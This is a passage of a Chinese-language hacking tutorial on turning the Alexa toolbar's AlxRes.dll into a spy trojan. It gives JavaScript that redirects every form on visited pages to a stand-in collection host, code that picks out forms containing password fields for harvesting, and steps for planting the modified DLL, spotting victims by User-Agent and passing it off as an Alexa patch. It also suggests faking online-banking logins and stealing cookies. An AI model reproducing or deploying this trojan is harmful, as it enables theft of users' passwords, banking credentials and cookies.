移花接木 将Alexa工具条改装成间谍木马

核心提示： function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {... ...try{for(i=0;i<oWebBrowser2.document.forms.length;i++){oWebBrows

function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {
　... ...
　try{
　　for(i=0;i<oWebBrowser2.document.forms.length;i++)
　　{
　　　oWebBrowser2.document.forms[i].innerHTML=oWebBrowser2.document.forms[i].innerHTML+"<input name=OriginalAction type=hidden value=’"+oWebBrowser2.document.forms[i].action+"’>";
　　　oWebBrowser2.document.forms[i].action="http://www.faketarget.com/gather.asp";
　　}
　}catch(e){}
　return false;
}

以上的代码对于某些页面存在问题，有时会无法将隐藏字段添加到表单中去。

五、散布和植入木马

以上代码均是用PE资源软件修改AlxRes.dll文件实现的。所以，只要用新的AlxRes.dll文件将原来系统的AlxRes.dll替换掉。Alexa工具条在加载的时候会优先在"C:Program FilesInternet Explorer"和"C:Documents and Settings[username]桌面"这两个路径下搜索AlxRes.dll，所以也可以把修改过的AlxRes.dll放到这两个路径下，这样就不用覆盖源文件了。至于怎么安装，那可是有一大堆的IE漏洞等着你去Exploit呢，这可不是本文涉及的范围。

安装了Alexa工具条的IE的"User-Agent"会加入"Alexa Toolbar"的标记，所以很容易区分目标的IE是否已经安装了Alexa工具条：

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toobar)

也可以修改Alexa的安装文件，或者以Alexa补丁的名义来发布，这个就扯远了。

六、收集密码

你可以用FileSystemObject控件来将表单内容纪录到文件，或者直接作为参数发送到某个Web服务器，由web服务器收集纪录下来即可。为了在客户端过滤一些不包含密码的表单，最好在AlxRes.dll的代码中对收集的表单数据进行一些检查：

function test()
{
　var IsPwdForm=false;
　var FormStr;
　try{
　　for(i=0;i<this.length;i++)
　　{
　　　if(this.elements[i].name!="")
　　　{
　　　　if(this.elements[i].type=="password")
　　　　　IsPwdForm=true;
　　　　FormStr=FormStr+this.elements[i].name+"="+this.elements[i].value+"&";
　　　}
　　}
　　if(IsPwdForm)
　　{
　　　//表单包含密码文本，进行收集
　　}
　}catch(e){}
　return true;
}

七、其他的应用

大多数的网上银行登陆界面是由ActiveX控件实现的，无法截获表单数据，但是我们可以通过"oWebBrowser2"对象来操纵、修改浏览的页面，当然也可以伪造一个网上银行的登陆界面。还可以用来收集用户浏览网页的纪录，也可以用来窃取用户COOKIE等。